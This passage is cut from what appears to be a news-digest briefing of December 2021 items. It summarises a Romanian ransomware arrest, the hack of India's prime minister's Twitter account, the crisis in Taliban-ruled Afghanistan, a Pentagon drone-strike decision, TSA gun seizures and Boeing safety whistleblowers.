GIST	<p>A Romanian man accused of using ransomware to target “high-profile” organizations and companies was arrested Monday as part of a joint operation between the Romanian National Police, the FBI, and Europol.</p> <p>The man — identified only as a 41-year-old living in Craiova, Romania — is accused of compromising an unnamed Romanian IT services company with clients in the retail, energy and utilities sectors, according to a Europol statement posted to the agency’s website.</p> <p>He then used that access to deploy ransomware and steal sensitive data from the IT company’s clients in Romania and abroad, before encrypting the files. The stolen data included financial information, personal information regarding employees and customers and other important documents.</p> <p>The man then asked for a “sizeable ransom payment in cryptocurrency,” the Europol statement read, with the threat of posting the stolen data on cybercrime forums.</p> <p>Allan Liska, the director of threat intelligence at cybersecurity firm Recorded Future, said Monday that based on the available information, this “appears to have been a one-off, not a traditional ransomware affiliate model.” It’s unclear whether the man was an insider threat, or had figured out how to break into the IT company’s network, Liska said.</p> <p>“I’m intrigued by the use of extortion without the traditional extortion site,” Liska added, referring to the common ransomware attackers’ practice of posting samples of stolen data to websites to pressure victims into paying. “How often does this happen? Are there a lot more ransomware attacks we never see because they are set up like this, a one-off attack by someone outside the affiliate system who doesn’t have access to an extortion site?”</p> <p>The FBI did not immediately respond to a request for comment about its role in the operation.</p>

	Monday's arrest comes roughly a month after Romanian authorities, Europol and other law enforcement agencies around the world announced the arrest of two cybercrime suspects accused of launching 5,000 ransomware attacks using the REvil/Sodinokibi malware, until recently one of the most commonly used strains of ransomware. That operation coincided with the U.S. Department of Justice's seizure of \$6 million in ransomware payments and charges against Yevgeniy Polyanin, a Russian national, and Ukrainian national Yaroslav Vasinsky, for operations involving REvil ransomware.
Return to Top	

HEADLINE	12/13 India probes hacking of PM Twitter account
SOURCE	https://www.wsj.com/articles/india-investigates-hacking-of-prime-minister-narendra-modis-twitter-account-11639397030?mod=hp_listb_pos4
GIST	<p>NEW DELHI—Indian officials are investigating how Prime Minister Narendra Modi's Twitter account was hacked, with a tweet to his more than 73 million followers falsely saying India was adopting bitcoin as legal tender and distributing it to people in the country.</p> <p>The account was briefly compromised before being secured, the prime minister's office said on Twitter. The issue had been escalated to Twitter Inc., and the tweet should be ignored, the office said.</p> <p>Twitter said its systems weren't breached in the hack. The company has round-the-clock lines of communication open with the prime minister's office and secured Mr. Modi's account "as soon as we became aware of this activity," a Twitter spokeswoman said. A Twitter investigation showed no other accounts appeared to be affected, she added.</p> <p>Twitter recommends that to protect their accounts people take steps such as activating two-factor authentication, requiring not just a password but also a second form of identification to log in, such as a code sent via an app. A spokeswoman declined to provide specifics on the degree to which Mr. Modi's account was protected.</p> <p>An Indian government official said rigorous security measures were taken to protect the account, and that the investigation would seek to examine the IP address and internet service provider the hacker used to access the account.</p> <p>The hack came after the Indian government last month said it would consider a bill to prohibit private cryptocurrencies in India, with some exceptions, and create an official digital currency to be issued by the Reserve Bank of India, according to a parliamentary bulletin.</p> <p>In a speech last month, Mr. Modi said that democratic countries should work together to ensure bitcoin doesn't end up in the wrong hands, without elaborating.</p> <p>The proposed legislation, which is still evolving, will likely ban the use of cryptocurrencies as legal tender in India, according to government officials. But New Delhi is considering how they might be regulated as an asset class for investment. Officials are monitoring the way other governments are treating cryptocurrencies and the open-access ledger that underpins them, known as the blockchain.</p> <p>One government official said the final bill would likely be friendly toward startups and those advocating the use of new technology. The proposal to create an official digital currency will likely be kept out of the bill, the official said.</p> <p>Mr. Modi has one of the world's most-followed Twitter accounts, with more followers than U.S. President Joe Biden, Tesla Inc. Chief Executive Elon Musk, and fashion mogul Kim Kardashian West.</p> <p>The tweet from Mr. Modi's account, later deleted, claimed the government had purchased 500 bitcoins, a type of cryptocurrency that has attracted significant investment and hype in recent years. The tweet contained a link to a blog, now inaccessible, that suggested bitcoin was being given away.</p>

	<p>India's agency for monitoring cybersecurity incidents and threats, the Indian Computer Emergency Response Team, is investigating the hack, according to government officials with knowledge of the matter.</p> <p>Digital payments have become more common in the country of more than 1.3 billion in recent years, with popular services from the likes of One97 Communications Ltd. 's Paytm, Alphabet Inc.'s Google, and WhatsApp, the messaging service from Meta Platforms. But while cryptocurrency-related startups in India have attracted hundreds of millions of dollars of funding in recent years, it is unclear how widespread their services may become in the South Asian nation.</p> <p>India's government has in recent years been setting out new rules to govern U.S. tech giants and promote homegrown champions. It has tightened e-commerce rules and wants to better police harmful material online. In May, Indian police visited Twitter's office in New Delhi to investigate the company's labeling of a ruling party spokesman's tweets as misleading.</p> <p>A hacker last year broke into Twitter's systems and gained access to several high profile Twitter accounts, including those belonging to Barack Obama and Bill Gates, to post messages requesting money be sent to cryptocurrency accounts. A Florida teenager pleaded guilty in March to crimes including fraud and unauthorized computer access after prosecutors accused him of imitating a Twitter information-technology employee to gain access to the company's networks, bypassing its security measures.</p>
Return to Top	

Terror Conditions

[Top of page](#)

HEADLINE	12/13 UK woman guilty: sharing extremist videos
SOURCE	https://www.bbc.com/news/uk-england-birmingham-59644727
GIST	<p>A woman has been found guilty of terrorism charges after sharing extreme videos online.</p> <p>Aaminah Amatullah, 38, posted what police called "extremist mindset material" on a number of social media websites.</p> <p>She sent videos to an online contact who was in fact an undercover police officer in September 2020. At Birmingham Crown Court on Monday, she was found guilty of two terrorism offences which she had denied.</p> <p>Amatullah, of Livingstone Road, Handsworth, Birmingham, will return for sentencing on 27 January.</p> <p>"We cannot underestimate the dangerous nature of extremist propaganda and the influence it can have," Ch Supt Kenny Bell, from the West Midlands Counter-Terrorism unit, said.</p> <p>"Communities defeat terrorism, and it remains vitally important that the public reports any suspicious activity to police."</p>
Return to Top	

HEADLINE	12/13 For Taliban-ruled Afghanistan: crisis looms
SOURCE	https://www.wsj.com/articles/crisis-looms-for-taliban-afghanistan-and-rest-of-world-11639104243?mod=hp_listc_pos1
GIST	<p>Afghanistan is heading into one of its most difficult years.</p> <p>The new Taliban administration, devoid of international recognition and cut off by the U.S. from the global financial system, is struggling to restart an economy that has shrunk by more than 40% since the American withdrawal in August. The worst drought in decades, combined with the suspension of many foreign-aid projects, means that millions of Afghans could face starvation in coming months.</p>

“We are on the brink of a humanitarian catastrophe that is preventable,” says the United Nations representative to Afghanistan, Deborah Lyons.

Capitalizing on growing discontent, particularly in eastern and northern Afghanistan, the extremist Islamic State group already is launching nearly daily attacks that target the Taliban and the country’s Shiite minority. That terrorism threat, combined with the Taliban’s so-far unyielding position on issues such as women’s education, means that most Western embassies that escaped the country in August won’t be returning soon.

The only question amid this bleak landscape is to what extent Afghanistan’s crisis can be contained within Afghanistan in 2022.

Will the looming famine prompt millions of Afghans to try to reach Europe on foot, the way millions of Syrians did in 2014-2015? Will Islamic State garner enough strength to start launching attacks on Western targets from within Afghanistan? And will the year see a record-breaking outflow of opium and other illicit drugs, now the main livelihood of desperate farmers in many parts of the country?

Past experiences suggest that the fallout will inevitably spread beyond Afghanistan’s immediate neighborhood.

Historical lessons

Historically, Afghanistan has gone through cycles of intense American interest, followed by years of neglect that produced dramatic consequences down the line. In the 1980s, Washington invested great effort and capital into fostering the mujahedeen resistance against the Soviet-backed government in Kabul. Then, it turned away when the Soviet Union collapsed in 1991. Backed by regional proxies, victorious mujahedeen engaged in a long and bloody civil war that eventually spurred the Taliban’s rise and led to the Sept. 11, 2001, attacks.

Now, after two decades of intense military and diplomatic engagement, the temptation in Washington—and other Western capitals—is to tune out once again. Maintaining the status quo policy of sanctions on Taliban-ruled Afghanistan and minimal engagement with Kabul’s new authorities requires little immediate expenditure of political capital, even though it may be the riskiest approach over the long term.

“The West wants to punish the Taliban, but the economic chokehold is self-defeating,” says Graeme Smith, co-author of a recent report on Afghanistan by the International Crisis Group conflict-resolution organization. “History shows that ignoring Afghanistan allows problems to fester and grow. Migration, terrorism, drugs: All of these issues could destabilize the region and spill over into Europe.”

The Taliban, of course, are playing up such concerns to win a reprieve from sanctions, and to persuade Washington to unfreeze more than \$9 billion in Afghan central-bank assets.

“The suffering of a child from malnutrition, the death of a mother from lack of health services, the deprivation of a common Afghan from food, shelter, medicine and other primary needs has no political or logical justification,” the Taliban government’s foreign minister, Amir Khan Muttaqi, wrote in a recent open letter to the U.S. Congress. “If the current situation prevails, the Afghan government and people will face problems and will become a cause for mass migration in the region and world which will consequently create further humanitarian and economic issues.”

Reluctance to yield

Yet, in their talks with the U.S. and other Western nations so far, the Taliban have proved reluctant to yield on demands to respect women’s rights or to create a more inclusive government, key conditions for international acceptance of the regime. The Taliban’s current administration is made up almost exclusively of ethnic Pashtun clerics who played a prominent role in the 20-year insurgency, including several men designated by the U.S. as global terrorists.

	<p>In making appointments, be it in Kabul or the provinces, the Taliban so far are mostly motivated by a desire to maintain cohesion within the ranks and reward their fighters rather than concerns about winning over the remainder of Afghanistan's population and delivering services. As the economy continues its free fall and discontent deepens, such a strategy is bound to backfire, the Taliban's opponents warn.</p> <p>"Winter is upon us and the Taliban are asking people who don't have anything to eat themselves to feed them," says Mohamed Mohaqeq, a former warlord of the Hazara community who is currently exiled in Turkey. Politicians like him, he says, aren't calling for armed resistance because they want to give the Taliban a few more months to deliver on past promises of sharing power with other Afghan political forces. But, Mr. Mohaqeq adds, such patience is wearing thin. "People are under pressure. Eventually, they will rise up."</p>
	Return to Top

HEADLINE	12/13 Afghan health system 'close to collapse'
SOURCE	https://www.theguardian.com/global-development/2021/dec/13/afghan-health-system-close-to-collapse-due-to-sanctions-on-taliban
GIST	<p>Large parts of Afghanistan's health system are on the brink of collapse because of western sanctions against the Taliban, international experts have warned, as the country faces outbreaks of disease and an escalating malnutrition crisis.</p> <p>With the country experiencing a deepening humanitarian crisis since the Taliban's seizure of power in August amid mounting levels of famine and economic collapse, many medical staff have not been paid for months and health facilities lack even the most basic items to treat patients.</p> <p>Dr Paul Spiegel, director of the Center for Humanitarian health at Johns Hopkins University, said that on a recent five-week trip to the country he had seen public hospitals – which cater for the most vulnerable – lacking fuel, drugs, hygiene products and even basic items such as colostomy bags.</p> <p>He said the Covid-19 response had almost ground to a halt and called for a more nuanced response to western sanctions in order to avert a deeper public health disaster.</p> <p>"It's really bad and it is going to get a lot worse," Spiegel, a former chief of public health at the United Nations High Commissioner for Refugees among other high-profile humanitarian assignments, told the Guardian.</p> <p>"There are six simultaneous disease outbreaks: cholera, a massive measles outbreak, polio, malaria and dengue fever, and that is in addition to the coronavirus pandemic."</p> <p>Some parts of the primary healthcare system were being funded through a two-decades-old scheme, Spiegel said, but large parts remained largely unsupported, even as health officials, international organisations and NGOs have been required to restart programmes on hold after the Taliban regained control of the country in August.</p> <p>"I've been everywhere during my career. What is shocking is that you don't normally have an abrupt halt to everything. The UN organisations and NGOs supporting healthcare in Afghanistan are not just dealing with acute emergencies, they're having to respond to getting the basics running.</p> <p>"For example, there are supposed to be 39 hospitals dealing with Covid-19 cases of which 7.7% is fully functioning. And it's not just the hospitals. It's the whole thing that glues together public health systems: surveillance systems, testing and there's very little oxygen to treat those who do have Covid."</p> <p>He described the main referral hospital for infectious diseases in Kabul as "on its knees".</p> <p>"None of the staff have received salaries for months, though most are still coming in. There is hardly any medicine and they are cutting tress in the courtyard to heat the rooms because there is no gas.</p>

They've also sent their ventilators to the Afghan Japan hospital to treat Covid cases but that is also struggling."

His comments reflected mounting concern over the collapse of healthcare across Afghanistan, a country of 23 million people. Exacerbating the issue is that Afghanistan's economic issues, with the IMF warning of a contraction of some 30%, have plunged ever more people into poverty, which has had a knock-on effect for those needing healthcare but unable to afford to seek it.

Outside of Kabul and other major cities, Spiegel said the situation was even worse.

"There is a provincial hospital in Sarobi outside Kabul I visited. There was insufficient water and soap for hygiene protocols," he said.

"There was a small child who had been born at the hospital with an anal fistula. She was so sick that they had put a colostomy in but they had no bags and so they were using whatever material find – like toilet paper – to collect from the colostomy."

Dave Michalski, head of programme at Doctors Without Borders in Afghanistan, last week warned in an interview with NPR that there likely to be Afghans in need of healthcare who were not able to access even the reduced levels available.

"How many people are being blocked [from seeking healthcare]," he asked. "How many people are not taking the bus to the next province to find healthcare that is working because their own provincial health care system is closed or because there are no drugs on the shelves.

"And if you don't have the money to travel around to find a private health care facility ... and many private health care facilities are also in trouble because of supply lines."

The UN children's organisation Unicef has warned that the growing crisis in the country's health system is exacerbating Afghanistan's mounting malnutrition issues.

"The current humanitarian situation in Afghanistan is dire, especially for children. Winter has already set in and, without additional funding, Unicef and partners will be unable to reach the children and families that need us the most," said Alice Akunga, Unicef's Afghanistan representative.

"As families struggle to put nutritious food on the table and health systems are further strained, millions of Afghan children are at risk of starvation and death. Others struggle to access water and sanitation, are cut off from their schools and at heightened risk of violence."

Spiegel said the west needed to find a different approach to the imposition of sanctions on the Taliban: "There needs to be much more nuanced way of implementing sanctions than using such a blunt instrument [as they are currently configured]," he said.

"While understanding concerns about the Taliban ... the reality is that a lot of people will die because of them."

[Return to Top](#)

HEADLINE	12/13 Pentagon: no punishment 'tragic mistake'
SOURCE	https://www.nytimes.com/2021/12/13/us/politics/afghanistan-drone-strike.html
GIST	<p>WASHINGTON — None of the military personnel involved in a botched drone strike in Kabul, Afghanistan, that killed 10 civilians will face any kind of punishment, the Pentagon said on Monday.</p> <p>The Pentagon acknowledged in September that the last U.S. drone strike before American troops withdrew from Afghanistan the previous month was a tragic mistake that killed the civilians, including seven children, after initially saying it had been necessary to prevent an Islamic State attack on troops.</p>

A subsequent high-level investigation into the episode found no violations of law but stopped short of fully exonerating those involved, saying such decisions should be left up to commanders.

Defense Secretary Lloyd J. Austin III, who had left the final word on any administrative action, such as reprimands or demotions, to two senior commanders, approved their recommendation not to punish anyone. The two officers, Gen. Kenneth F. McKenzie Jr., the head of the military's Central Command, and Gen. Richard D. Clarke, the head of the Special Operations Command, found no grounds for penalizing any of the military personnel involved in the strike, said John F. Kirby, the Pentagon's chief spokesman.

"What we saw here was a breakdown in process, and execution in procedural events, not the result of negligence, not the result of misconduct, not the result of poor leadership," Mr. Kirby told reporters.

"So I do not anticipate there being issues of personal accountability to be had with respect to the Aug. 29 airstrike," Mr. Kirby said.

The Pentagon had not acknowledged the mistaken strike until a week after a [Times investigation of video evidence](#) challenged assertions by the military that it had struck a vehicle carrying explosives meant for Hamid Karzai International Airport in Kabul.

In two decades of war against shadowy enemies like Al Qaeda and the Islamic State, the U.S. military has killed hundreds, if not thousands, of civilians by accident in war zones like Iraq, Afghanistan, Syria and Somalia. And while the military from time to time accepts responsibility for an errant airstrike or a ground raid that harms civilians, rarely does it hold specific people accountable.

The most prominent recent exception to this trend was in 2016, when the [Pentagon disciplined at least a dozen military personnel](#) for their roles in an airstrike in October 2015 on a Doctors Without Borders hospital in Kunduz, Afghanistan, that killed 42 people. But none faced criminal charges.

Critics of the Kabul strike pointed to the incongruity of acknowledging the mistake but not finding anyone accountable for wrongdoing.

"This decision is shocking," said Steven Kwon, the founder and president of Nutrition & Education International, the California-based aid organization that employed Zemari Ahmadi, the driver of a white Toyota sedan that was struck by the American drone. "How can our military wrongly take the lives of 10 precious Afghan people and hold no one accountable in any way?"

Public scrutiny into military strikes against adversaries like the Islamic State and Al Qaeda that also killed civilians is intensifying. Mr. Austin last month ordered a new [high-level investigation](#) into a U.S. airstrike in Syria in 2019 that killed dozens of women and children, and that military officials had tried to conceal.

On Sunday, an [investigation by The Times](#) revealed that the kinds of deaths in the Syrian strike were not isolated. The Times found that a top-secret American strike cell launched tens of thousands of bombs and missiles against the Islamic State in Syria, but in the process of pounding a vicious foe, the commandos sidestepped safeguards and repeatedly killed civilians.

The higher-level inquiry into the Kabul strike by the Air Force's inspector general, Lt. Gen. Sami D. Said, blamed a series of erroneous assumptions, made over the course of eight hours as U.S. officials tracked a white Toyota Corolla through the Afghan capital, for causing what he called "confirmation bias," leading to the attack.

General Said, [in releasing his findings last month](#), found no criminal wrongdoing, but he said any other errors warranting disciplinary action would be up to senior commanders. "You should not perceive the fact that I didn't call any individual out with accountability," General Said told reporters. "That just does not mean that the chain of command won't." But it did not.

The general's investigation made several recommendations for fixing the process through which strikes are ordered, including new measures to cut down the risk of confirmation bias and reviewing the prestrike procedures used to assess the presence of civilians. Pentagon officials say they are incorporating those measures into a broader strategy to prevent civilian harm on the battlefield.

Gen. Mark A. Milley, the chairman of the Joint Chiefs of Staff, initially called the Kabul drone attack a "righteous strike," but almost everything senior defense officials asserted in the hours, days and weeks after it turned out to be false. The explosives the military claimed were loaded in the trunk of a white sedan struck by the drone's Hellfire missile were probably water bottles. A secondary explosion in the courtyard in the densely populated Kabul neighborhood where the attack took place was probably a propane or gas tank, military officials said.

Mr. Ahmadi, the driver of the white sedan that was struck by the American drone, [had no ties to the Islamic State](#), officials said.

General McKenzie, the head of the Central Command, said in a news conference in September that the strike was carried out "in the profound belief" that the Islamic State was about to launch another attack on the airport. Three days earlier, a suicide bomber at the Kabul airport [killed about 170 civilians and 13 U.S. troops](#).

Since then, the Pentagon has offered unspecified [condolence payments to the family of those killed in the drone strike](#). The Pentagon has also said it is working with the State Department to help surviving members of the family relocate to the United States, but negotiations appear to have bogged down in recent weeks.

"I've been beseeching the U.S. government to evacuate directly impacted family members and N.E.I. employees for months because their security situation is so dire," Mr. Kwon said, referring to employees of Nutrition & Education International, where Mr. Ahmadi worked.

Mr. Kirby said on Monday that Mr. Austin wanted to resolve the situation "as soon as possible."

Top Defense Department officials were acting quickly "to get the identifying information that we need to help move family members out of Afghanistan as expeditiously as we can, and, of course, to better and safely affect the ex gratia payments," Mr. Kirby said.

Congress has authorized the Pentagon to pay up to \$3 million a year to compensate for property damage, personal injury or deaths related to the actions of U.S. armed forces, as well as for "hero payments" to the family members of local allied forces, such as Afghan or Iraqi troops fighting Al Qaeda or ISIS.

Condolence payments for deaths caused by the U.S. military have varied widely in recent years. In the 2019 fiscal year, for instance, the Pentagon offered 71 such payments — ranging from \$131 to \$35,000 — in Afghanistan and Iraq.

In the most recent example of one of these payments, the Pentagon has acknowledged that the military in Afghanistan paid \$5,000 this year to a family there whose child was killed in an airstrike in January. The Defense Department had notified Congress of this payment related to a civilian casualty but had not previously disclosed details of the strike.

In response to questions from The Times, Capt. Bill Urban, a spokesman for the Central Command, gave this account of what happened:

On Jan. 8, Taliban forces attacked an Afghan security forces checkpoint in the Shindand district, near Herat. After Afghan troops requested American help, a U.S. drone identified five Taliban fighters armed with small arms and rocket-propelled grenades. Two of the fighters broke away, repositioned and fired grenades at checkpoint.

American troops ordered a strike against the Taliban firing the grenades. The drone operator scanned the target area, and after determining it was free of civilians, launched the strike against the Taliban fighters.

However, five seconds before the weapon hit the fighters, the drone operator saw a child approaching the target. Within two seconds, the drone operator tried to abort the strike and veer the weapon away. That failed, and the potential civilian casualty was reported immediately.

An investigation began on Jan. 9 and confirmed that while a child had been killed in the airstrike, the decision to conduct it was made properly, in accordance with the existing rules of engagement.

"We deeply regret the loss of innocent life associated with this strike and continue to strive to avoid such loss in the future," Captain Urban said in a response to questions from The Times about the strike.

[Return to Top](#)

HEADLINE	12/14 UN: Taliban rule marked by killings
SOURCE	https://www.reuters.com/world/asia-pacific/taliban-rule-marked-by-killings-boy-soldiers-arrests-un-2021-12-14/
GIST	<p>GENEVA, Dec 14 (Reuters) - More than 100 former Afghan national security forces and others have been killed since the Taliban takeover in August, most at the hands of the hardline Islamist group which is recruiting boy soldiers and quashing women's rights, the U.N. said on Tuesday.</p> <p>Nada al-Nashif, U.N. Deputy High Commissioner for Human Rights, said that in addition, at least 50 suspected members of a local affiliate of Islamic State known as ISIS-Khorasan - an ideological foe of the Taliban - died by hanging and beheading.</p> <p>In a speech to the Human Rights Council, she described Taliban rule as being marked by extrajudicial killings across the country and restrictions on women's and girls' basic rights.</p> <p>Families face "severe poverty and hunger" this winter amid reports of child labour, early marriages and "even the sale of children", al-Nashif said.</p> <p>At least 72 of the more than 100 alleged killings have been attributed to the Taliban, she said, adding: "In several cases, the bodies were publicly displayed. This has exacerbated fear among this sizeable category of the population."</p> <p>The Taliban decree earlier this month fails to refer to women's and girl's rights to education, work and their freedom of movement and to participate in public life, al-Nashif said.</p> <p>At least eight Afghan activists and two journalists have been killed since August, while the U.N. has also documented 59 unlawful detentions and she said.</p> <p>"The safety of Afghan judges, prosecutors, and lawyers – particularly women legal professionals – is a matter for particular alarm", she added.</p> <p>Afghanistan's envoy from the former government accused the Taliban of committing a wide range of abuses including targeted killings and enforced disappearances.</p> <p>"With the military takeover of Kabul by the Taliban, not only we see a total reversal of two decades of advances...but the group is also committing a litany of abuses with full impunity which in many cases is going unreported and undocumented," Nasir Ahmad Andisha told the forum.</p>

	Andisha, Kabul's U.N. ambassador to the U.N. in Geneva who is still recognised by the world body, said that "credible reports have testified accounts of ethnic and tribal purging in several provinces of the country".
Return to Top	

Suspicious, Unusual

[Top of page](#)

HEADLINE	12/14 UN alarm: Arctic record 100deg. heat
SOURCE	https://www.cbsnews.com/news/arctic-record-siberia-100-degree-heat-climate-change-alarm-bells-un/
GIST	<p>The United Nations on Tuesday officially recognized the 38 degrees Celsius measured in Siberia last year as a record high for the Arctic, sounding "alarm bells" about climate change.</p> <p>The sweltering heat -- equivalent to 100.4 degrees Fahrenheit -- was seen on June 20, 2020 in the Russian town of Verkhoyansk, marking the highest temperature ever recorded above the Arctic Circle, the World Meteorological Organization said.</p> <p>This is the first time the WMO has added record heat in the Arctic to its archive of extreme weather reports, and it comes amid an unprecedented wave of record temperature spikes globally, the U.N. agency said.</p> <p>"This new Arctic record is one of a series of observations reported to the WMO Archive of Weather and Climate Extremes that sound the alarm bells about our changing climate," its chief, Petteri Taalas, said in a statement.</p> <p>Verkhoyansk is about 70 miles north of the Arctic Circle and temperatures have been measured there since 1885.</p> <p>The temperature, which the agency pointed out was "more befitting the Mediterranean than the Arctic", was measured at a meteorological station during an exceptionally prolonged Siberian heatwave.</p> <p>The average temperatures across Arctic Siberia reached up to 10C above normal for much of the summer last year, the WMO said, adding that this had fueled fires and massive sea-ice loss.</p> <p>The heatwave also played a significant role in 2020 being designated one of the three warmest years on record globally.</p> <p>Last year also saw a record high of 18.3C for the Antarctic continent, Taalas said.</p> <p>The WMO is still seeking to verify the 54.4C recorded in both 2020 and 2021 in the world's hottest place, Death Valley in California.</p> <p>And its experts are working on validating a new European temperature record of 48.8C reported on the Italian island of Sicily this past summer.</p> <p>The WMO's archive "has never had so many ongoing simultaneous investigations", Taalas said.</p>
Return to Top	

HEADLINE	12/13 TSA: record number guns confiscated
SOURCE	https://www.cbsnews.com/news/tsa-guns-confiscated-most-ever-2021/
GIST	Nearly 5,700 firearms have been confiscated at airport security checkpoints in 2021, the highest number recorded by the Transportation Security Agency (TSA) since its inception.

A whopping 5,674 guns were stopped in 2021 alone, the agency told CBS News on Monday. The vast majority of weapons — 85% — were loaded with ammunition. Airports in Atlanta, Dallas-Fort Worth and Houston ranked highest in confiscated firearms.

"It's an all time high," TSA Administrator David Pekoske told reporters during a Monday briefing. He said the previous high mark was 4,400 guns confiscated in 2019.

Pekoske told CBS News he believes the increase in firearm seizures reflects "what's going on in the country."

"The reason? I think there's just more firearm carriage in the country," Pekoske said. "That's the best answer I can give you," the administrator added.

According to [TSA policy](#), individuals toting either loaded firearms or unloaded firearms with accessible ammunition may face \$3,000-\$10,000 in fines, plus a criminal referral to law enforcement. For repeat offenders, that fee is even higher. Those with a history of carrying loaded weapons into security checkpoints may be forced to shell out as much as \$13,910.

"It's a pretty costly mistake to make," Pekoske said, noting that TSA will grant civil penalty action only after completing an investigation. If passengers violate state laws, TSA refers cases to local authorities.

Last week, [a 48-year old man from Georgia appeared in federal court in Newark, New Jersey](#), on weapons charges after allegedly attempting to carry a firearm through security at Newark Liberty International Airport. Acting U.S. Attorney Rachael Honig announced that Desmond Herring was charged with one count of carrying a weapon on an aircraft and one count of possession of a firearm and ammunition by a convicted felon.

Herring was released on a \$100,000 bond, with home confinement and GPS monitoring.

In November, [chaos erupted](#) at Hartsfield-Jackson Atlanta International Airport's main security checkpoint when a firearm discharged during a TSA screening. A passenger, who had been told not to touch his bag that was being searched, "lunged into the bag and grabbed a firearm, at which point it discharged," according to the agency.

TSA also announced on Monday that it anticipates holiday travel will be in full swing this year, with peak traffic on December 23 and January 3. The administrator, joined by industry leaders, urged passengers to avoid traveling during "rush hour" — between 5 a.m. and 7 a.m. and 4 p.m. and 6 p.m. — around the holidays.

Officers screened just under 21 million travelers during the 10-day Thanksgiving holiday, matching pre-pandemic travel levels.

The Top 10 airports for firearm stops, according to TSA, are:

1. Atlanta
2. Dallas Fort Worth
3. Houston (IAH)
4. Phoenix
5. Nashville
6. Denver
7. Fort Lauderdale
8. Orlando
9. New Orleans
10. Salt Lake City

[Return to Top](#)

SOURCE	https://www.seattletimes.com/seattle-news/could-be-months-before-cause-of-death-known-for-two-teens-father-found-in-renton-apartment/
GIST	<p>It could take months before the cause of death is known for two teen girls and their father whose bodies were found in their Renton apartment Saturday, according to the King County Medical Examiner's Office.</p> <p>Autopsies performed Monday on the three did not "uncover any obvious manner of death," so further laboratory and scientific testing will be needed for the medical examiner to determine an official cause and manner of death, according to the Renton Police Department.</p> <p>Sisters Adriana Gil, 17, and Mariel Gil, 16, were found dead Saturday in the living room of their home on the 300 block of Factory Avenue North. The body of their father, 33-year-old Manuel Gil, was in an upstairs bedroom.</p> <p>"I need to know what happened to my girls," Betsy Alvarado, the teens' mother, said Monday. Though it's difficult to hear that it may be months before she learns how the teens and their father died, Alvarado said she understands that police and medical examiners have a process they need to follow.</p> <p>There were no obvious signs of foul play, no signs of struggle and no visible trauma when the bodies were found, according to police. Police did not have additional information about their investigation Monday and said they don't anticipate any updates until the medical examiner's work is complete.</p> <p>"I don't think anything else will tell us what happened," said Renton police Detective Robert Onishi.</p> <p>Alvarado, who lived separately, said she called Renton police Friday night for a welfare check because she hadn't heard from her daughters recently and they had stopped replying to her texts months ago.</p> <p>Nobody answered the door, so police officers checked the locked unit from outside. There was nothing police knew at that time that would have let them access the residence by force, Onishi said in an email.</p> <p>On Saturday morning, the building's co-owner, Carlo Papini, wanted to check on the teens and father after he heard police had visited Friday night and discovered the bodies, but nothing in the apartment appeared disturbed.</p> <p>Anyone with information about the case is asked to call Renton police at 425-430-7500 and reference case No. 21-12197.</p>
Return to Top	

HEADLINE	12/13 Boeing, suppliers short safety oversight?
SOURCE	https://www.seattletimes.com/business/boeing-aerospace/u-s-senate-whistleblower-report-safety-oversight-falls-short-at-boeing-and-its-suppliers/
GIST	<p>Seven named whistleblowers — from Boeing, jet engine supplier GE and the Federal Aviation Administration — allege fundamental problems with safety oversight in the aerospace industry, according to a report released Monday by Democrats on a U.S. Senate committee chaired by Sen. Maria Cantwell.</p> <p>One of the whistleblowers, newly identified as high-ranking Boeing engineer Martin Bickeboeller, claims that more than three years after the deadly MAX crashes Boeing is still unwilling to fully acknowledge lapses in compliance with safety standards.</p> <p>In an October complaint to the FAA that's included in the Senate report, Bickeboeller wrote that this has produced "a dangerous culture not conducive to the proper safety of aerospace products."</p> <p>Altogether, two engineers and a production manager at Boeing, three FAA safety engineers and an engineer at jet engine-maker GE were extensively interviewed by the committee and presented written testimony to lawmakers hoping to reinvigorate the FAA.</p>

Commerce, Science, and Transportation Committee staff provided an advance copy of the report to The Seattle Times. While the concerns of four of the whistleblowers were previously made public and were widely covered, three are named for the first time and two make new allegations of continuing issues with safety oversight this year.

Bickeboeller, a Boeing Technical Fellow, alleges in his FAA complaint that Boeing's oversight of manufacturing work at its suppliers remains inadequate — though he had flagged the issue for years internally and in a prior complaint to the FAA.

The new 99-page complaint details Bickeboeller's yearslong internal battle with Boeing's ethics and legal departments and his engagement with senior executives about his concerns.

Boeing spokesperson Jessica Kowal said the company takes concerns raised by employees "very seriously." She said management assessed Bickeboeller's concerns multiple times over the years but didn't fully agree with his conclusions.

Another newly disclosed whistleblower in the report who raises new allegations is Richard Kucera, who led the team of GE engineers that worked on behalf of the FAA to conduct engine inspections and ensure that production of the massive GE9X engine for the 777X complied with FAA safety regulations.

After discrepancies discovered late in the process complicated the production certification of that engine, Kucera alleges he was blamed and came under "extreme pressure, intimidation, and coercion" that he says forced his resignation in May.

In an interview with The Seattle Times on Saturday, Kucera said GE management's treatment of him reveals a fundamental conflict of interest: "making the inspector responsible for what is inspected." He too has submitted a formal complaint to the FAA.

GE spokesperson Perry Bradley said the company thoroughly investigated Kucera's case and found no "undue influence," a term used to signify inappropriate pressure on an employee working on behalf of the FAA.

The FAA said it is reviewing the complaints by Bickeboeller and Kucera.

"The agency takes all whistleblower allegations seriously and does not tolerate retaliation against those who raise safety concerns," spokesperson Crystal Essiaw said via email.

FAA reform questioned

A third whistleblower in the report, veteran FAA safety engineer Mike Dostert, who testified to the committee last year but was until now anonymous, bolstered previous allegations by others that FAA managers routinely overrule technical specialists and grant Boeing unwarranted exemptions from the latest safety requirements for planes like the 737 MAX that are based on older designs.

"The FAA has lost our world leadership role in aviation due to a safety culture now driven by political forces that take the side of industry," Dostert wrote.

The report also includes previously reported testimony from former Boeing engineer [Curtis Ewbank](#), former Boeing senior manager on the 737 MAX production line [Ed Pierson](#), former FAA engineer [Joe Jacobsen](#) and former FAA engineer [Michael Collins](#).

Their testimony helped push a reform of the FAA airplane certification process through Congress late last year.

Appearing before Cantwell's committee last month, [FAA Administrator Steve Dickson testified that his agency is moving to implement those reforms](#) and fix its oversight of Boeing.

The Aviation Safety Whistleblower Report concludes that Boeing and its suppliers put [undue pressure on and retaliated against engineers conducting safety inspections and assessments on behalf of the FAA](#) and that [warnings about safety issues from senior engineers with advanced technical expertise have been ignored](#).

And the report states that “systemic problems continue to exist” within the FAA oversight system, including [too much delegation of work to the manufacturers](#), policies that allow [older-design airplanes that don’t meet the latest safety standards to be certified](#), and a shortage of technical engineering staff at key FAA offices.

In a letter sent along with the report to FAA chief Dickson, Cantwell wrote that “Together, these allegations illustrate the importance of a course correction that puts safety first and listens to the voices of line engineers.”

A standoff with Boeing ethics and legal

